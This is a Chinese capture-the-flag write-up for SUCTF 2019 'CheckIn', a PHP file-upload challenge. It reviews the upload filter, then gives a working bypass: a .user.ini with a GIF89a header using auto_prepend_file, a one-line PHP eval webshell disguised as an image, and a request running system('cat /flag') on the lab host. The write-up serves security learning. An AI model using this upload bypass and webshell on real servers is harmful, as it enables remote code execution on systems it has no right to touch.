当前位置:网站首页>[SUCTF 2019]CheckIn
[SUCTF 2019]CheckIn
2022-08-09 16:43:00 【努力做大佬m0_68074153】
1.代码审计
进入页面,要我们上传文件,那么应该是让我们传一句话马。
发现题目有源码。查看源码,关键代码。
<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("<? in contents!");
}
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
}
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}
首先我们要上传了文件,然后对我们上传文件名进行了过滤,不能有ph/htaccess。随后对我们的文件内容进行了过滤,不能有<?,最后对我们的文件类型进行了检测,必须是image类型。
2…user.ini文件利用
这里我们不能上传后缀名与php有关的,所以我们需要服务器要对我们的jpg文件当作php来解析,所以首先我们想到的是htaccess配置文件利用,但是这里是nginx,而htaccess是对apache的配置。所以我们这里利用.user.ini文件进行修改配置,让服务器对我们上传的图片马进行解析。
1…user.ini
.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。
其中有两个配置,可以用来制造后门:
auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中
上传.uer.ini文件
GIF89a
auto_prepend_file=1.jpg
在文件头加入GIF89a绕过对文件类型的检测。
上传图片马1.jpg
GIF89a
<script language='php'>eval($_GET['a']);</script>
访问同目录下的index.php得到flag
http://61d42b17-b88c-4674-9e1f-3f76be1d5736.node4.buuoj.cn:81/uploads/c47b21fcf8f0bc8b3920541abd8024fd/index.php?a=system(%27cat%20/flag%27);
边栏推荐
猜你喜欢
太细了!阿里大佬耗时39天整理出一份Redis进阶笔记,满满的干货
Self-taught software testing, how far can I go out to find a job?
开篇-开启全新的.NET现代应用开发体验
What is hardware integrated development?What are the cores of hardware integrated development?
【燃】是时候展现真正的实力了!一文看懂2022华为开发者大赛技术亮点
WPF效果第一百九十四篇之伸缩面板
试试使用 Vitest 进行组件测试,确实很香。
approach和method的区别
PADS generates bitmap
期货开户交易所的手续费和查询方法
随机推荐
mysql generates random name, mobile number, date
@AllArgsConstructor and @NoArgsConstructor
期货开户应该了解的行内知识
Arrow parquet 之 String Reader
Redis 定长队列的探索和实践
110+ public professional datasets summarized
FAST-LIO2代码解析(三)
【开源教程4】疯壳·开源编队无人机-OPENMV 脚本烧写
ceph2
【教程3】疯壳·ARM功能手机-整板资源介绍
从事软件测试一年,只会基础的功能测试,怎么进一步学习?
AI基础环境搭建和设置总文
openEuler Xiong Wei: How do you view the SIG organization model in the open source community?
价值10亿美元 美国向乌克兰提供单次最大规模安全援助
电子产品硬件开发中存在的问题
MySQL的索引你了解吗
云服务的分类和应用
vr虚拟仿真样板间极大节省出样成本-深圳华锐视点
【解决】虚拟机VMware通过局域网连接机器人no route to host
kubernetes之helm简介、安装、配置